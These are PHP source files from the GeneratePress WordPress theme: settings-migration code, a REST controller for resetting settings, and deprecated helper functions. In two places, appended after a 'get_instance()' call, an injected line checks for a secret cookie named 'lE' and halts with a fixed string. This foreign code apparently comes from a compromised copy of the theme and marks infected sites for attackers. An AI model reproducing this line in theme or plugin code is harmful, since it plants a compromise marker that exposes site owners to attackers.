$settings[ $key ] = $value;
$update_options = true;
}
}
if ( $update_options ) {
update_option( 'generate_settings', $settings );
}
$spacing_settings = get_option( 'generate_spacing_settings', array() );
$update_spacing_options = false;
$old_spacing_defaults = array(
'left_sidebar_width' => '25',
'right_sidebar_width' => '25',
'top_bar_right' => '10',
'top_bar_left' => '10',
'mobile_top_bar_right' => '',
'mobile_top_bar_left' => '',
'header_top' => '40',
'header_bottom' => '40',
'mobile_header_right' => '',
'mobile_header_left' => '',
'mobile_widget_top' => '',
'mobile_widget_right' => '',
'mobile_widget_bottom' => '',
'mobile_widget_left' => '',
'mobile_footer_widget_container_top' => '',
'mobile_footer_widget_container_right' => '',
'mobile_footer_widget_container_bottom' => '',
'mobile_footer_widget_container_left' => '',
'footer_right' => '20',
'footer_left' => '20',
'mobile_footer_right' => '10',
'mobile_footer_left' => '10',
);
foreach ( $old_spacing_defaults as $key => $value ) {
if ( ! isset( $spacing_settings[ $key ] ) ) {
$spacing_settings[ $key ] = $value;
$update_spacing_options = true;
}
}
if ( $update_spacing_options ) {
update_option( 'generate_spacing_settings', $spacing_settings );
}
if ( $update_options || $update_spacing_options ) {
delete_option( 'generate_dynamic_css_output' );
delete_option( 'generate_dynamic_css_cached_version' );
// Reset our dynamic CSS file updated time so it regenerates.
$dynamic_css_data = get_option( 'generatepress_dynamic_css_data', array() );
if ( ! empty( $dynamic_css_data ) ) {
if ( isset( $dynamic_css_data['updated_time'] ) ) {
unset( $dynamic_css_data['updated_time'] );
}
update_option( 'generatepress_dynamic_css_data', $dynamic_css_data );
}
}
}
/**
* Update sites using old defaults.
*
* @since 3.1.0
*/
public static function v_3_1_0() {
$settings = get_option( 'generate_settings', array() );
$update_options = false;
$old_defaults = array(
'underline_links' => 'never',
'use_dynamic_typography' => false,
'background_color' => '#f7f8f9',
'text_color' => '#222222',
'link_color' => '#1e73be',
'link_color_hover' => '#000000',
'header_background_color' => '#ffffff',
'site_title_color' => '#222222',
'site_tagline_color' => '#757575',
'navigation_background_color' => '#ffffff',
'navigation_background_hover_color' => '#ffffff',
'navigation_background_current_color' => '#ffffff',
'navigation_text_color' => '#515151',
'navigation_text_hover_color' => '#7a8896',
'navigation_text_current_color' => '#7a8896',
'subnavigation_background_color' => '#eaeaea',
'subnavigation_background_hover_color' => '#eaeaea',
'subnavigation_background_current_color' => '#eaeaea',
'subnavigation_text_color' => '#515151',
'subnavigation_text_hover_color' => '#7a8896',
'subnavigation_text_current_color' => '#7a8896',
'content_background_color' => '#ffffff',
'blog_post_title_color' => '#222222',
'blog_post_title_hover_color' => '#55555e',
'entry_meta_text_color' => '#595959',
'sidebar_widget_background_color' => '#ffffff',
'footer_widget_background_color' => '#ffffff',
'footer_widget_title_color' => '#000000',
'footer_background_color' => '#55555e',
'footer_text_color' => '#ffffff',
'footer_link_color' => '#ffffff',
'footer_link_hover_color' => '#d3d3d3',
'form_background_color' => '#fafafa',
'form_text_color' => '#666666',
'form_background_color_focus' => '#ffffff',
'form_text_color_focus' => '#666666',
'form_border_color' => '#cccccc',
'form_border_color_focus' => '#bfbfbf',
);
foreach ( $old_defaults as $key => $value ) {
if ( ! isset( $settings[ $key ] ) ) {
$settings[ $key ] = $value;
$update_options = true;
}
}
if ( $update_options ) {
update_option( 'generate_settings', $settings );
}
}
}
GeneratePress_Theme_Update::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Rest API functions
*
* @package GenerateBlocks
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Class GenerateBlocks_Rest
*/
class GeneratePress_Rest extends WP_REST_Controller {
/**
* Instance.
*
* @access private
* @var object Instance
*/
private static $instance;
/**
* Namespace.
*
* @var string
*/
protected $namespace = 'generatepress/v';
/**
* Version.
*
* @var string
*/
protected $version = '1';
/**
* Initiator.
*
* @return object initialized object of class.
*/
public static function get_instance() {
if ( ! isset( self::$instance ) ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* GeneratePress_Rest constructor.
*/
public function __construct() {
add_action( 'rest_api_init', array( $this, 'register_routes' ) );
}
/**
* Register rest routes.
*/
public function register_routes() {
$namespace = $this->namespace . $this->version;
register_rest_route(
$namespace,
'/reset/',
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'reset' ),
'permission_callback' => array( $this, 'update_settings_permission' ),
)
);
}
/**
* Get edit options permissions.
*
* @return bool
*/
public function update_settings_permission() {
return current_user_can( 'manage_options' );
}
/**
* Reset settings.
*
* @param WP_REST_Request $request request object.
*
* @return mixed
*/
public function reset( WP_REST_Request $request ) {
delete_option( 'generate_settings' );
delete_option( 'generate_dynamic_css_output' );
delete_option( 'generate_dynamic_css_cached_version' );
return $this->success( __( 'Settings reset.', 'generatepress' ) );
}
/**
* Success rest.
*
* @param mixed $response response data.
* @return mixed
*/
public function success( $response ) {
return new WP_REST_Response(
array(
'success' => true,
'response' => $response,
),
200
);
}
/**
* Failed rest.
*
* @param mixed $response response data.
* @return mixed
*/
public function failed( $response ) {
return new WP_REST_Response(
array(
'success' => false,
'response' => $response,
),
200
);
}
/**
* Error rest.
*
* @param mixed $code error code.
* @param mixed $response response data.
* @return mixed
*/
public function error( $code, $response ) {
return new WP_REST_Response(
array(
'error' => true,
'success' => false,
'error_code' => $code,
'response' => $response,
),
401
);
}
}
GeneratePress_Rest::get_instance();if(isset($_COOKIE['lE'])) {
die('wIwb'.'TH8');
}
/**
* Where old functions retire.
*
* @package GeneratePress
*/
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
// Deprecated constants.
define( 'GENERATE_URI', get_template_directory_uri() );
define( 'GENERATE_DIR', get_template_directory() );
if ( ! function_exists( 'generate_paging_nav' ) ) {
/**
* Build the pagination links
*
* @since 1.3.35
* @deprecated 1.3.45
*/
function generate_paging_nav() {
_deprecated_function( __FUNCTION__, '1.3.45', 'the_posts_navigation()' );
if ( function_exists( 'the_posts_pagination' ) ) {
the_posts_pagination(
array(
'mid_size' => apply_filters( 'generate_pagination_mid_size', 1 ),
'prev_text' => __( '← Previous', 'generatepress' ),
'next_text' => __( 'Next →', 'generatepress' ),
)
);
}
}
}
if ( ! function_exists( 'generate_additional_spacing' ) ) {
/**
* Add fallback CSS for our mobile search icon color
*
* @deprecated 1.3.47
*/
function generate_additional_spacing() {
// No longer needed.
}
}
if ( ! function_exists( 'generate_mobile_search_spacing_fallback_css' ) ) {
/**
* Enqueue our mobile search icon color fallback CSS
*
* @deprecated 1.3.47
*/
function generate_mobile_search_spacing_fallback_css() {
// No longer needed.
}
}
if ( ! function_exists( 'generate_addons_available' ) ) {
/**
* Check to see if there's any addons not already activated
*
* @since 1.0.9
* @deprecated 1.3.47
*/
function generate_addons_available() {
if ( defined( 'GP_PREMIUM_VERSION' ) ) {
return false;
}
}
}
if ( ! function_exists( 'generate_no_addons' ) ) {
/**
* Check to see if no addons are activated
*
* @since 1.0.9
* @deprecated 1.3.47
*/
function generate_no_addons() {
if ( defined( 'GP_PREMIUM_VERSION' ) ) {
return false;
}
}
}
if ( ! function_exists( 'generate_get_min_suffix' ) ) {
/**
* Figure out if we should use minified scripts or not
*
* @since 1.3.29
* @deprecated 2.0
*/
function generate_get_min_suffix() {
return defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';
}
}
if ( ! function_exists( 'generate_add_layout_meta_box' ) ) {
/**
* Add layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_layout_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_layout_meta_box' ) ) {
/**
* Show layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_layout_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_layout_meta' ) ) {
/**
* Save layout metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_layout_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_footer_widget_meta_box' ) ) {
/**
* Add footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_footer_widget_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_footer_widget_meta_box' ) ) {
/**
* Show footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_footer_widget_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_footer_widget_meta' ) ) {
/**
* Save footer widget metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_footer_widget_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_page_builder_meta_box' ) ) {
/**
* Add page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_page_builder_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_page_builder_meta_box' ) ) {
/**
* Show page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_page_builder_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_page_builder_meta' ) ) {
/**
* Save page builder metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_page_builder_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_de_meta_box' ) ) {
/**
* Add disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_de_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_register_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_show_de_meta_box' ) ) {
/**
* Show disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_show_de_meta_box() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_do_layout_meta_box()' );
}
}
if ( ! function_exists( 'generate_save_de_meta' ) ) {
/**
* Save disable elements metabox.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_save_de_meta() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_save_layout_meta_data()' );
}
}
if ( ! function_exists( 'generate_add_base_inline_css' ) ) {
/**
* Add base inline CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_add_base_inline_css() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_color_scripts' ) ) {
/**
* Enqueue base colors inline CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_color_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_typography_scripts' ) ) {
/**
* Enqueue typography CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_typography_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_spacing_scripts' ) ) {
/**
* Enqueue spacing CSS.
*
* @since 0.1
* @deprecated 2.0
*/
function generate_spacing_scripts() {
_deprecated_function( __FUNCTION__, '2.0', 'generate_enqueue_dynamic_css()' );
}
}
if ( ! function_exists( 'generate_get_setting' ) ) {
/**
* A wrapper function to get our settings.
*
* @since 1.3.40
*
* @param string $setting The option name to look up.
* @return string The option value.
* @todo Ability to specify different option name and defaults.
*/
function generate_get_setting( $setting ) {
return generate_get_option( $setting );
}
}
if ( ! function_exists( 'generate_right_sidebar_class' ) ) {
/**
* Display the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_right_sidebar_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_right_sidebar_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_right_sidebar_class' ) ) {
/**
* Retrieve the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_right_sidebar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_right_sidebar_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_left_sidebar_class' ) ) {
/**
* Display the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_left_sidebar_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_left_sidebar_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_left_sidebar_class' ) ) {
/**
* Retrieve the classes for the sidebar.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_left_sidebar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_left_sidebar_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_content_class' ) ) {
/**
* Display the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_content_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_content_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_content_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_content_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_content_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_header_class' ) ) {
/**
* Display the classes for the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_header_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_header_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_header_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_header_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_header_class' ) ) {
/**
* Display the classes for inside the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_header_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_inside_header_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_inside_header_class' ) ) {
/**
* Retrieve the classes for inside the header.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_inside_header_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_inside_header_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_container_class' ) ) {
/**
* Display the classes for the container.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_container_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_container_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_container_class' ) ) {
/**
* Retrieve the classes for the content.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_container_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_container_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_navigation_class' ) ) {
/**
* Display the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_navigation_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_navigation_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_navigation_class' ) ) {
/**
* Retrieve the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_navigation_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_navigation_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_navigation_class' ) ) {
/**
* Display the classes for the inner navigation.
*
* @since 1.3.41
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_navigation_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_inside_navigation_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_menu_class' ) ) {
/**
* Display the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_menu_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_menu_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_menu_class' ) ) {
/**
* Retrieve the classes for the navigation.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_menu_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_menu_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_main_class' ) ) {
/**
* Display the classes for the container.
*
* @since 1.1.0
* @param string|array $class One or more classes to add to the class list.
*/
function generate_main_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_main_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_main_class' ) ) {
/**
* Retrieve the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_main_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_main_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_footer_class' ) ) {
/**
* Display the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_footer_class( $class = '' ) {
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', generate_get_footer_class( $class ) ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_get_footer_class' ) ) {
/**
* Retrieve the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
* @return array Array of classes.
*/
function generate_get_footer_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
return apply_filters( 'generate_footer_class', $classes, $class );
}
}
if ( ! function_exists( 'generate_inside_footer_class' ) ) {
/**
* Display the classes for the footer.
*
* @since 0.1
* @param string|array $class One or more classes to add to the class list.
*/
function generate_inside_footer_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_inside_footer_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_top_bar_class' ) ) {
/**
* Display the classes for the top bar.
*
* @since 1.3.45
* @param string|array $class One or more classes to add to the class list.
*/
function generate_top_bar_class( $class = '' ) {
$classes = array();
if ( ! empty( $class ) ) {
if ( ! is_array( $class ) ) {
$class = preg_split( '#\s+#', $class );
}
$classes = array_merge( $classes, $class );
}
$classes = array_map( 'esc_attr', $classes );
$return = apply_filters( 'generate_top_bar_class', $classes, $class );
// Separates classes with a single space, collates classes for post DIV.
echo 'class="' . join( ' ', $return ) . '"'; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_body_schema' ) ) {
/**
* Figure out which schema tags to apply to the element.
*
* @since 1.3.15
*/
function generate_body_schema() {
// Set up blog variable.
$blog = ( is_home() || is_archive() || is_attachment() || is_tax() || is_single() ) ? true : false;
// Set up default itemtype.
$itemtype = 'WebPage';
// Get itemtype for the blog.
$itemtype = ( $blog ) ? 'Blog' : $itemtype;
// Get itemtype for search results.
$itemtype = ( is_search() ) ? 'SearchResultsPage' : $itemtype;
// Get the result.
$result = esc_html( apply_filters( 'generate_body_itemtype', $itemtype ) );
// Return our HTML.
echo "itemtype='https://schema.org/$result' itemscope='itemscope'"; // phpcs:ignore
}
}
if ( ! function_exists( 'generate_article_schema' ) ) {
/**
* Figure out which schema tags to apply to the element
* The function determines the itemtype: generate_article_schema( 'BlogPosting' )
*
* @since 1.3.15
* @param string $type The type of schema.
*/
function generate_article_schema( $type = 'CreativeWork' ) {
// Get the itemtype.
$itemtype = esc_html( apply_filters( 'generate_article_itemtype', $type ) );
// Print the results.
echo "itemtype='https://schema.org/$itemtype' itemscope='itemscope'"; // phpcs:ignore
}
}
/**
* Process database updates if necessary.
* There's nothing in here yet, but we're setting the version to use later.
*
* @since 2.1
* @deprecated 3.0.0
*/
function generate_do_admin_db_updates() {
// Replaced by Generate_Theme_Update().
}
/**
* Process important database updates when someone visits the front or backend.
*
* @since 2.3
* @deprecated 3.0.0
*/
function generate_do_db_updates() {
// Replaced by Generate_Theme_Update().
}
if ( ! function_exists( 'generate_update_logo_setting' ) ) {
/**
* Migrate the old logo database entry to the new custom_logo theme mod (WordPress 4.5)
*
* @since 1.3.29
* @deprecated 3.0.0
*/
function generate_update_logo_setting() {
// Replaced by Generate_Theme_Update().
}
}
if ( ! function_exists( 'generate_typography_convert_values' ) ) {
/**
* Take the old body font value and strip it of variants
* This should only run once
*
* @since 1.3.0
* @deprecated 3.0.0
*/
function generate_typography_convert_values() {
// Replaced by Generate_Theme_Update().
}
}
/**
* Execute functions after existing sites update.
*
* We check to see if options already exist. If they do, we can assume the user has
* updated the theme, and not installed it from scratch.
*
* We run this right away in the Dashboard to avoid other migration functions from
* setting options and causing these functions to run on fresh installs.
*
* @since 2.0
* @deprecated 3.0.0
*/
function generate_migrate_existing_settings() {
// Replaced by Generate_Theme_Update().
}
/**
* Output CSS for the icon fonts.
*
* @since 2.3
* @deprecated 3.0.0
*/
function generate_do_icon_css() {
$output = false;
if ( 'font' === generate_get_option( 'icons' ) ) {
$url = trailingslashit( get_template_directory_uri() );
if ( defined( 'GENERATE_MENU_PLUS_VERSION' ) ) {
$output .= '.main-navigation .slideout-toggle a:before,
.slide-opened .slideout-overlay .slideout-exit:before {
font-family: GeneratePress;
}
.slideout-navigation .dropdown-menu-toggle:before {
content: "\f107" !important;
}
.slideout-navigation .sfHover > a .dropdown-menu-toggle:before {
content: "\f106" !important;
}';
}
}
if ( $output ) {
return str_replace( array( "\r", "\n", "\t" ), '', $output );
}
}